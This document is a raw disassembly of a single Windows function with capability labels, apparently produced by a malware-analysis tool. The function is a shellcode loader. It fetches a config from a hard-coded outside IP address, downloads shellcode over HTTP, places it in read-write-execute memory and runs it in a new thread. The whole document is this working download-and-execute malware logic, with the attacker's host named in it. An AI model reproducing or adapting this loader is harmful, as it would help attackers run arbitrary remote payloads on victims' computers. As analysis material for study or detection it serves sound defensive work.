Function at 0x40189b
Capabilities:
Allocate or change rwx memory
Create http request
Create thread
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data
Spawn thread to rwx shellcode

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0x44c
call dbg.__main
mov dword [ebp - 0x12c], 0
lea edx, [ebp - 0x128]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x22c], 0
lea edx, [ebp - 0x228]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x32c], 0
lea edx, [ebp - 0x328]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x32c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x22c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x12c]
mov dword [esp + 4], eax
mov dword [esp], str.http:__206.233.132.27_s3.ini
call sym.ReadConfig_char_const__char__char__char_
test eax, eax
sete al
test al, al
je 0x401972
mov dword [esp + 4], str.Failed_to_read_config_file.
mov dword [esp], 0x4ce780
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, 1
jmp 0x401e83
lea eax, [ebp - 0x32c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x22c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x12c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.http:___s:_s__s
mov dword [esp + 4], 0x100
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sym.snprintf_char__unsigned_int__char_const__..._
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.User_Agent
mov eax, dword [sym.imp.WININET.DLL_InternetOpenA]
call eax
sub esp, 0x14
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401a17
mov dword [esp + 4], str.Failed_to_open_Internet_connection.
mov dword [esp], 0x4ce780
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, 2
jmp 0x401e83
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x84000100
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x42c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetOpenUrlA]
call eax
sub esp, 0x18
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x401abf
mov dword [esp + 4], str.Failed_to_open_shellcode_file__
mov dword [esp], 0x4ce780
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp + 4], 0x4cf04d
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, 3
jmp 0x401e83
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x434], 4
mov dword [ebp - 0x438], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x434]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20000005
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_HttpQueryInfoA]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401b8f
mov dword [esp + 4], str.Failed_to_retrieve_content_length__
mov dword [esp], 0x4ce780
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp + 4], 0x4cf04d
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, 4
jmp 0x401e83
mov eax, dword [ebp - 0x430]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x401bf5
mov dword [esp + 4], str.Failed_to_allocate_memory_for_shellcode.
mov dword [esp], 0x4ce780
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, 5
jmp 0x401e83
mov eax, dword [ebp - 0x430]
lea edx, [ebp - 0x438]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetReadFile]
call eax
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x401cad
mov dword [esp + 4], str.Failed_to_read_shellcode_file__
mov dword [esp], 0x4ce780
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp + 4], 0x4cf04d
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._free
mov eax, 6
jmp 0x401e83
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x430]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x401d61
mov dword [esp + 4], str.Failed_to_allocate_memory__
mov dword [esp], 0x4ce780
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp + 4], 0x4cf180
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._free
mov eax, 7
jmp 0x401e83
mov eax, dword [ebp - 0x430]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x401e3b
mov dword [esp + 4], str.Failed_to_create_thread__
mov dword [esp], 0x4ce780
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp + 4], 0x4cf180
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._free
mov eax, 8
jmp 0x401e83
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._free
mov eax, 0
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret